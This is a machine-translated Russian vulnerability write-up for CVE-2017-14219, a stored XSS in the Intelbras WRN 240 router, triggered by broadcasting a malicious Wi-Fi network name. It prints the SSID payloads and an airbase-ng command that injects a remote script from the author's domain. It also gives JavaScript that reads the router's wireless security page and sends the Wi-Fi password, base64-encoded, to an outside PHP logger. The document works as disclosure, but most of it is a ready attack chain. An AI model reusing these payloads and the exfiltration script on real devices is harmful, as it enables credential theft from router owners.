[CVE-2017–14219] XSS В МАРШРУТИЗАТОРЕ INTELBRAS WRN 240.
Следуй за мной: https://twitter.com/Elber333
Как это началось:
Пытался ли я взломать свой роутер какое-то время, по каким причинам? Просто не хватает того, что делать, а иногда и отсутствия Интернета, это было от попыток загрузки с модифицированной прошивкой до попыток вставить коды на страницу, изменив идентификатор беспроводной сети, пока однажды я не заметил SSIDS других беспроводных точек в списке. перехват Wi-Fi сетей.
XSS:
Уязвимость присутствует в беспроводном маршрутизаторе Intel N 150 Мбит / с WRN 240 (только версия, протестированная мной на данный момент) на странице поиска маршрутизатора для использования в качестве моста.
URL: "http://10.0.0.1/userRpm/popupSiteSurveyRpm.htm"
Маршрутизатор получает SSID из сетей и затем показывает его на экране без какого-либо фильтра типов или очистки *, соблюдая только ограничение в 32 символа беспроводной сети. Уязвимая страница не активна по умолчанию на маршрутизаторе, пользователь (жертва) должен будет активировать ее в настройках AP, но, к счастью (конечно), нам просто нужен авторизованный пользователь для доступа к html, где система показывает сети беспроводные устройства, которые находятся в пределах досягаемости. Действия, которые не составят труда для умного человека.
Чтобы поднять точку доступа, я использовал другой маршрутизатор, который у меня был, но ничего такого, что не удалось бы решить с помощью airbase-ng. Я изменил свой SSID на:
‹Script› alert (‘xss’) ‹/script›
Попытка, которая не увенчалась успехом, но снова изменилась на
‹/script› ‹script› alert ('xss'), где тег закрывал первое ‹/script› и запускал новый, используя преимущества оригинала. Тег ‹script› в конце файла.
Теперь, когда у нас есть xss, давайте перейдем к действительно важной части. При соблюдении 32-символьного ограничения беспроводного SSID, способ вставки длинных кодов на страницу будет импортироваться откуда-то еще, поэтому я изменил SSID на ‹script src = '// elb.me'› «elb.me» это мой домен, который я использую для сохранения полезной нагрузки.
Мы знаем, что для доступа к индексу страницы не обязательно нужен /index.*** в конце, поэтому я добавил свой скрипт в индекс elb.me. В методе кражи файлов cookie мы обычно используем скрипт на php, который берет то, что передается GET, и сохраняет его в файл журнала, он не будет сильно отличаться от того, что мы собираемся делать. Скрипт на PHP, который я настроил в https://elb.me/cookie.php?ck=, журналы сохраняются в« https://elb.me/cookie.txt
Маршрутизатор сохраняет пароль в ajax, расположенном на странице http://10.0.0.1/userRpm/WlanSecurityRpm.htm, нам нужен только источник этой страницы для получения учетных данных. В индекс elb.me я вставил скрипт в XMLHttpRequest, который позволяет запрашивать источник этой страницы и отправлять его нашему PHP-приемнику.
var rawFile = new XMLHttpRequest(); rawFile.onreadystatechange = function() { alert(rawFile.responseText); var base64 = rawFile.responseText.split('>')[1].split("/SCRIPT")[0]; //
selects the part of the page with the credentialsnew Image().src="https://elb.me/cookie.php?ck="+btoa(base64); //
sends the credentials encoded in base64}; rawFile.open("GET", "http://10.0.0.1/userRpm/WlanSecurityRpm.htm", true); //
take the page source/popupSiteSurveyRpm.htm rawFile.send();
Теперь, когда у нас есть полезная нагрузка, мы просто подключаем AP и ждем, пока кто-нибудь откроет страницу маршрутизатора, или мы можем отправить ссылку прямого доступа «http://10.0.0.1/userRpm/popupSiteSurveyRpm.htm.
Тестируя на странице, получаю следующий результат:
Наш скрипт сработал :)
Теперь нам просто нужно перейти на страницу, где сохраняется сохраненная форма, «https://elb.me/cookies.txt.
И после decodarmoso base64 получаем свой пароль.
Командование авиабазы:
airbase-ng -e «‹/script›‹ script src = ’// elb.me’ ›» -c 8 -v wlan0mon
Текст перевел гугл-переводчик и блять.